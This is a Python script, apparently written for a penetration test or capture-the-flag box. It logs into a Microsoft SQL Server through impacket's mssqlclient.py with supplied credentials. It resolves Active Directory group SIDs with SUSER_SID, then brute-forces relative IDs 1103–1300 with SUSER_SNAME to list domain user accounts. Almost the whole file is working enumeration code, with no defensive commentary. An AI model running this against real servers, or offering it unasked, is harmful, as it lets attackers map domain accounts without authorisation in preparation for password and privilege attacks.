import re
import subprocess
import tempfile
from pathlib import Path
from pwn import log

GROUPS_FILE = "ad_groups.txt" # common groups in AD
SIDS_OUTPUT = "sids_output.txt"
USER = "<user>"
PASSWORD = "<password>"
SERVER = "<server.com>"
DOMAIN = "<DOMAIN>"
RID_START_DEFAULT = 1103
RID_END_DEFAULT = 1300


def run_mssql_query(connection_str: str, sql: str) -> str:
    with tempfile.NamedTemporaryFile("w+", delete=False) as f:
        f.write(sql)
        fname = f.name
    try:
        proc = subprocess.run(
            ["mssqlclient.py", connection_str, "-file", fname],
            capture_output=True,
            text=True,
            check=False,
        )
        return proc.stdout.replace("\r", "")
    finally:
        Path(fname).unlink(missing_ok=True)


def hexstr_to_sid(hexstr: str) -> str:
    b = bytes.fromhex(hexstr)
    if len(b) < 8:
        raise ValueError("Invalid SID byte length")
    rev = b[0]
    subcount = b[1]
    id_auth = int.from_bytes(b[2:8], byteorder="big", signed=False)
    subs = []
    offset = 8
    for i in range(subcount):
        if offset + 4 > len(b):
            break
        sub = int.from_bytes(b[offset : offset + 4], byteorder="little", signed=False)
        subs.append(str(sub))
        offset += 4
    sid = "S-{}-{}".format(rev, id_auth)
    if subs:
        sid = f"{sid}-" + "-".join(subs)
    return sid


def brute_sid(groups):
    conn = f"DC01/{USER}:{PASSWORD}@{SERVER}"
    Path(SIDS_OUTPUT).write_text("")
    log.info("SID:")
    for group in groups:
        sql = f"SELECT SUSER_SID('{group}')"
        out = run_mssql_query(conn, sql)
        m = re.search(r"b'([^']+)'", out)
        if m:
            hexstr = m.group(1)
            try:
                sid = hexstr_to_sid(hexstr)
                log.success(f"{group} = {sid}")
                with open(SIDS_OUTPUT, "a") as fh:
                    fh.write(f"{group}|{sid}\n")
            except Exception as e:
                log.warn(f"failed convert SID for {group}: {e}")


def username_enumeration_by_sid(
    sid_base: str, rid_start: int = RID_START_DEFAULT, rid_end: int = RID_END_DEFAULT
):
    conn = f"DC01/{USER}:{PASSWORD}@{SERVER}"
    sid_base_clean = re.sub(r"\s+", "", sid_base.replace("\r", ""))
    sid_domain = re.sub(r"-\d+$", "", sid_base_clean)
    for rid in range(rid_start, rid_end + 1):
        sid_try = f"{sid_domain}-{rid}"
        sql = f"SELECT SUSER_SNAME(SID_BINARY(N'{sid_try}'))"
        out = run_mssql_query(conn, sql)
        matches = re.findall(rf"{re.escape(DOMAIN)}\\\S+", out)
        if matches:
            for u in matches:
                log.success(f"{u}")


def enumerate_all_from_sids_output(
    rid_start: int = RID_START_DEFAULT, rid_end: int = RID_END_DEFAULT
):
    if not Path(SIDS_OUTPUT).exists():
        return
    seen = set()
    with open(SIDS_OUTPUT) as fh:
        for line in fh:
            line = line.strip()
            if not line or "|" not in line:
                continue
            group, sid = line.split("|", 1)
            if (group, sid) in seen:
                continue
            seen.add((group, sid))
            log.info(f"{group}:")
            username_enumeration_by_sid(sid, rid_start, rid_end)


def main():
    # if you need to re-run brute SID collection, uncomment:
    # groups = [g.strip() for g in Path(GROUPS_FILE).read_text().splitlines() if g.strip()]
    # brute_sid(groups)
    enumerate_all_from_sids_output(1103, 1300)


if __name__ == "__main__":
    main()